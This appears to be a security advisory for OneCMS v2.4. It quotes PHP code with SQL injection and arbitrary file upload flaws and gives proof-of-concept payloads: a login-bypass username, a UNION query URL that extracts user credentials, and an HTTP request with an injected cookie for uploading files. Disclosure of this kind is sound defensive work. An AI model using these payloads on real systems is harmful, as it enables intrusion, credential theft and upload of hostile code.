+-->Multiple SQL Injection vulnerabilities (authentication bypass)

Code Snippet:
a_login.php Line#5-12

if ($_GET['login'] == "yes") {

$usernameb = strip_tags(stripcslashes($_POST['username']));
$passwordc = $_POST['password']; 
$passwordb = md5($passwordc);

$sql = mysql_query("SELECT * FROM onecms_users WHERE username = '".$usernameb."' AND password = '".$passwordb."'");
$login_check = mysql_num_rows($sql);

$usernameb is prone to sql injection vulnerability therefore its possible for a remote attacker to bypass login form regardless of magic quotes setting!

POC :
Username: admin' or 1=1 /*
Password: something

afterward program redirects user to another location via header() and so (this behavior makes an infinite loop condition) but still its possible to do administration tasks such as file upload!

------------------------------------
Code Snippet:
staff.php Line#30-31

$result = mysql_query("SELECT * FROM onecms_profile WHERE username = '".$_GET['user']."'");
$profile = mysql_fetch_row($result);

POC:
http://localhost/OneCMS_v2.4/staff.php?user=aaa' union select 1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/*
condition: magic_quotes_gpc = Off

+--> Arbitrary file upload!

Code Snippet:
a_upload.php Line#472-475

if ($_FILES["ss_$i"]["name"]) {
if (((((($_FILES["ss_$i"]["type"] == "image/jpeg") or ($_FILES["ss_$i"]["type"] == "image/gif") or ($_FILES["ss_$i"]["type"] == "image/bmp") or ($_FILES["ss_$i"]["type"] == "image/png") && ($_FILES["ss_$i"]["type"])))))) {

copy ($_FILES["ss_$i"]["tmp_name"], "$path/".$_FILES["ss_$i"]["name"]."");

As shown above Its possible to upload arbitrary files (ex: .php) with image/gif content type as a valid image file! 

POC:
POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0
Cookie: username=admin'or 1=1/*; password=96e79218965eb72c92a549dd5a330112; login_date=1199693273; style=Trend
